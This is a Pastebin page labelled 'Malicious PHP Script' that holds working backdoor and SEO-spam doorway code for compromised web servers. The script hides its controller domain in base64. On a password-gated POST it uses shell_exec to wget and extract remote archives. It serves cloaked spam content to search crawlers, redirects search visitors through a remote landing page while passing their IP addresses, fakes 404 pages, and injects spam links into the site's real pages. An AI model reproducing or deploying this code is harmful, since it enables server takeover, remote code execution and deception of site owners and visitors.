Advertisement
Guest User

Malicious PHP Script

a guest
Mar 13th, 2017
481
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 4.53 KB | None | 0 0
  1. set_time_limit(0);
  2.  
  3. function get_page_by_curl($url,$useragent="Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.131 Safari/537.36"){
  4.         $ch = curl_init ();
  5.         curl_setopt ($ch, CURLOPT_URL,$url);
  6.         curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
  7.         curl_setopt ($ch, CURLOPT_TIMEOUT, 30);
  8.         curl_setopt ($ch, CURLOPT_SSL_VERIFYPEER, 0);
  9.         curl_setopt ($ch, CURLOPT_SSL_VERIFYHOST, 0);
  10.         curl_setopt ($ch, CURLOPT_USERAGENT, $useragent);
  11.         $result = curl_exec ($ch);
  12.         curl_close($ch);
  13.         return $result;
  14. }
  15.  
  16.         $doorcontent="";
  17.         $x=@$_POST["pppp_check"];
  18.         $md5pass="e5e4570182820af0a183ce1520afe43b";
  19.  
  20.         $host=@$_SERVER["HTTP_HOST"];
  21.         $uri=@$_SERVER["REQUEST_URI"];
  22.         $host=str_replace("www.","",$host);
  23.         $md5host=md5($host);
  24.         $urx=$host.$uri;
  25.         $md5urx=md5($urx);
  26.  
  27.         if (function_exists('sys_get_temp_dir')) {$tmppath = sys_get_temp_dir();if (!is_dir($tmppath)){ $tmppath = (dirname(__FILE__)); }   } else { $tmppath = (dirname(__FILE__));}
  28.  
  29.         $cdir=$tmppath."/.".$md5host."/";
  30.         $domain=base64_decode("bWFnMmN3aXQuY29t");
  31.  
  32.         if ($x!=""){
  33.             $p=md5(base64_decode(@$_POST["p"]));
  34.             if ($p!=$md5pass)return;
  35.             $pa=@$_POST["pa"];
  36.  
  37.             if (($x=="2")||($x=="4")){
  38.                 echo "###UPDATING_FILES###\n";
  39.                 if ($x=="2"){
  40.                     $cmd="cd $tmppath; rm -rf .$md5host";
  41.                     echo shell_exec($cmd);
  42.                 }
  43.                 $cmd="cd $tmppath; wget http://update.$domain/arc/$md5host.tgz -O 1.tgz; tar -xzf 1.tgz; rm -rf 1.tgz";
  44.                 if ($pa!=""){
  45.                     $pa+=0;
  46.                     $cmd="cd $tmppath; wget http://update.$domain/arc/".$md5host."_".$pa.".tgz -O 1.tgz; tar -xzf 1.tgz; rm -rf 1.tgz";
  47.                 }
  48.                 echo shell_exec($cmd);
  49.                 exit;
  50.             }
  51.             if ($x=="3"){
  52.                 echo "###WORKED###\n";exit;
  53.             }
  54.         }else{
  55.             $curx=$cdir.$md5urx;
  56.             if (@file_exists($curx)){
  57.                 @list($IDpack,$mk,$doorcontent,$pdf,$contenttype)=@explode("|||",@file_get_contents($curx));
  58.                 $doorcontent=@base64_decode($doorcontent);
  59.                
  60.                 $bot=0;
  61.                 $se=0;
  62.                 $mobile=0;
  63.                 if (preg_match("#google|gsa-crawler|AdsBot-Google|Mediapartners|Googlebot-Mobile|spider|bot|yahoo|google web preview|mail\.ru|crawler|baiduspider#i", @$_SERVER["HTTP_USER_AGENT" ]))$bot=1;
  64.                 if (preg_match("#android|symbian|iphone|ipad|series60|mobile|phone|wap|midp|mobi|mini#i", @$_SERVER["HTTP_USER_AGENT" ]))$mobile=1;
  65.                 if (preg_match("#google|bing\.com|msn\.com|ask\.com|aol\.com|altavista|search|yahoo|conduit\.com|charter\.net|wow\.com|mywebsearch\.com|handycafe\.com|babylon\.com#i", @$_SERVER["HTTP_REFERER" ]))$se=1;
  66.                 if ($bot) {
  67.                     $pdf+=0;
  68.                     if ($pdf==1){
  69.                         header("Content-Type: application/pdf");
  70.                     }
  71.                     if ($pdf==2){
  72.                         header("Content-Type: image/png");
  73.                     }
  74.                     if ($pdf==3){
  75.                         header("Content-Type: text/xml");
  76.                     }
  77.                     if ($pdf==4){
  78.                         $contenttype=@base64_decode($contenttype);
  79.                         $types=explode("\n",$contenttype);
  80.                         foreach($types as $val){
  81.                             $val=trim($val);
  82.                             if($val!="")header($val);
  83.                         }
  84.                     }
  85.                     echo $doorcontent;exit;
  86.                 }
  87.                 if ($se) {echo get_page_by_curl("http://$domain/lp.php?ip=".$IDpack."&mk=".rawurlencode($mk)."&d=".$md5host."&u=".$md5urx."&addr=".$_SERVER["REMOTE_ADDR"],@$_SERVER["HTTP_USER_AGENT"]);exit;}
  88.  
  89.                 header($_SERVER['SERVER_PROTOCOL'] . " 404 Not Found");
  90.                 echo '<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">' . "\n";
  91.                 echo '<html><head>' . "\n";
  92.                 echo '<title>404 Not Found</title>' . "\n";
  93.                 echo '</head><body>' . "\n";
  94.                 echo '<h1>Not Found</h1>' . "\n";
  95.                 echo '<p>The requested URL ' . $_SERVER['REQUEST_URI'] . ' was not found on this server.</p>' . "\n";
  96.                 echo '<hr>' . "\n";
  97.                 echo '<address>' . $_SERVER['SERVER_SOFTWARE'] . ' PHP/' . phpversion() . ' Server at ' . $_SERVER['HTTP_HOST'] . ' Port 80</address>' . "\n";
  98.                 echo '</body></html>';
  99.                 exit;
  100.             }else{
  101.  
  102.  
  103.                 $crurl="http://".@$_SERVER['HTTP_HOST'].@$_SERVER['REQUEST_URI'];
  104.                 $buf=get_page_by_curl($crurl);
  105.  
  106.                 $curx=$cdir."fff.sess";
  107.                 if (@file_exists($curx)){
  108.                     $links=@file($curx,FILE_SKIP_EMPTY_LINES|FILE_IGNORE_NEW_LINES);
  109.                     $c=@count($links)-1;
  110.                     shuffle($links);
  111.                     if ($c>20)$c=20;
  112.                     $regexp = "<a\s[^>]*href=(\"??)([^\" >]*?)\\1[^>]*>(.*)<\/a>";
  113.                     if(preg_match_all("/$regexp/siU", $buf, $matches)) {
  114.                         $zval=$matches[0];
  115.                         shuffle($zval);
  116.                         foreach($zval as $val){
  117.                             if ($c<0)break;
  118.                             list($l,$anchor)=explode("|||",trim($links[$c]));
  119.                             $new='<a href="'.$l.'">'.$anchor.'</a>';
  120.                             $buf=str_ireplace($val,$new,$buf);
  121.                             $c--;
  122.                         }
  123.                     }                  
  124.                    
  125.                 }
  126.                 echo $buf;
  127.  
  128.             }
  129.         }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement